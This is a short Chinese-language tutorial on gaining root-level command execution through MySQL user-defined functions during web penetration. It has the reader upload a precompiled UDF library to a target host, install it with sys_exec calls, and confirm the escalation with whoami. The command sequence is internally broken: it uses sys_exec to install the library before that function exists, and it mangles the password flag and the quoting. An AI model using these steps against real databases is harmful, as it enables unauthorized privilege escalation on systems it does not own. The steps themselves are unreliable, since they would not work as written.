MySQL提权是web渗透过程中常见的操作,它能让攻击者以root权限执行任意操作,而MySQL UDF(User-defined Function)是一种用户自定义函数的方式,可以在MySQL中使用C/C++编写自己的函数。在此我们介绍一篇以MySQL提权为例的UDF的图文教程。
首先,我们需要下载一个已经编译好的mysql_udf_library.so文件,这个文件包含了我们需要的mysql提权代码。下载地址可在公网查询。
接下来,我们将mysql_udf_library.so文件上传到目标主机的/tmp目录中。使用以下命令进行安装:
mysql -u root -pSET GLOBAL general_log_file='/var/log/mysql.log';SET GLOBAL general_log = 'ON';SELECT sys_exec('cp /tmp/mysql_udf_library.so /usr/lib/mysql/plugin/mysql_udf_library.so');SELECT sys_exec('chmod 755 /usr/lib/mysql/plugin/mysql_udf_library.so');SELECT sys_exec('echo "CREATE FUNCTION sys_exec RETURNS INT SONAME 'mysql_udf_library.so';" | mysql -u root');
这些命令的作用分别为打开MySQL的日志、将mysql_udf_library.so文件复制到MySQL的插件目录中并增加文件权限、将文件加载为MySQL UDF。
随后,在MySQL中创建一个测试表并插入一些数据用于验证是否提权成功:
CREATE TABLE `test_udf` (`id` int(11) DEFAULT NULL,`name` varchar(255) DEFAULT NULL) ENGINE=InnoDB DEFAULT CHARSET=utf8;INSERT INTO test_udf values(1, 'test');
现在我们以root权限执行以下代码:
SELECT sys_exec('whoami');
如果返回结果为root,则代表提权成功。
通过以上步骤,我们实现了MySQL提权UDF的部署和使用,该方法可以提供web渗透人员快速提权的方法,并对系统安全性提出了新的挑战。